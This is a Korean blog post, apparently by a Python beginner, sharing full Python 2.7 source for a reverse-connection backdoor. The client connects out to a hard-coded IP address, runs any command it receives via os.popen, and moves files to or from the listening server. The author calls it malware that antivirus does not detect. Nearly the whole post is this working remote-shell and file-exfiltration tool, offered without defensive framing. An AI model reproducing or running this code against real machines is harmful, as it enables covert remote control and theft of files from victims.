지난 글에 이어서 리버스 커넥션 파일에 업로드 다운로드 기능을 추가해 보았다.
조금은 억지로 막만든 경향이 있어 코드가 깔끔치는 않지만 파이썬을 시작한지 얼마 안된 나로썬 결과가 뿌듯하다.
백신에 안잡힌다는 매력있는 파이썬 악성코드 인듯..
같은서버에 테스트 하기위해 파일을 다운로드 받거나 업로드 받으면
같은 파일명이 아닌 _[파일명] 으로 저장되게 해 놓았다.
Server
import socket import os import time PORT=1235 TIME_SLEEP = 1 ######################################################################## ## DEFINE ######################################################################## def fileC2S(conn,fileName): print ":: DownLoading... ::" time.sleep(TIME_SLEEP) f = open('_'+fileName,'wb') while 1: data = conn.recv(1024) if data.find('[@EOF]') >=0 : break else : f.write(data) print ":: FINISH :: " f.close() def fileS2C(conn,fileName) : print ":: Uploading... ::" time.sleep(TIME_SLEEP) f = open(fileName,'rb') while 1 : fileData = f.read() if fileData=='' : time.sleep(TIME_SLEEP) conn.sendall("[@EOF]") break else : conn.sendall(fileData)
print "::: FINISH :: " f.close() ############################################################################ ## MAIN ############################################################################ sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.bind(('',PORT)) sock.listen(5) print ":: waitting... :: " conn,client = sock.accept() print client while 1: input_value = raw_input('>')
if len(input_value) < 1 : print '>' elif input_value.find('@DOWN') >= 0 or input_value.find('@down') >=0 : conn.sendall(input_value) fileParse=os.path.split(input_value[6::]) fileC2S(conn,fileParse[1])
elif input_value.find('@UP') >= 0 or input_value.find('@up') >= 0 : conn.sendall(input_value) fileS2C(conn,input_value[4::]) elif input_value.find('exit') >= 0 or input_value.find('quit')>=0 : break else : conn.sendall(input_value) data=conn.recv(2048) print data sock.close() |
Client
import socket import os import time HOST='223.194.105.120' PORT = 1235 TIME_SLEEP = 1 ################################################################## ## DEFINE ################################################################### def fileC2S(sock,fileName): f = open(fileName,'rb') while 1: fileData=f.read() if fileData =='' : time.sleep(TIME_SLEEP) sock.send("[@EOF]") break else : sock.send(fileData) def fileS2C(sock,fileName) : fileParse = os.path.split(fileName); f = open('_'+fileParse[1],'wb')
while 1: data = sock.recv(1024) if data.find('[@EOF]') >= 0 : break else : f.write(data) f.close() ##################################################################### ## MAIN ##################################################################### sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((HOST,PORT)) while 1: data = sock.recv(255) if data.find('@DOWN') >= 0 or data.find('@down') >=0 : fileC2S(sock,data[6::]) elif data.find('@UP') >= 0 or data.find('@up')>=0 : fileS2C(sock,data[4::]) else : if data[0:2].find('cd') >= 0: os.chdir(data[3::]) sock.send("Moving..") else : p = os.popen(data) sock.send("====================================\n"+p.read()) p.close() sock.close() |
'Python' 카테고리의 다른 글
[ python 2.7 ] HTTP POST data 전송하는 방법 (0) | 2012.10.17 |
---|---|
[ py2exe] setup.py 파일 아이콘 변경 (0) | 2012.09.26 |
[python 2.7 ] 경로에서 파일명이나 경로만 파싱하기 (0) | 2012.09.26 |
[python 2.7] Reverse TCP connection Simple code (0) | 2012.09.25 |
[python ] 학교서버관리를 위해 만든 서버 체크리스트 (0) | 2012.09.10 |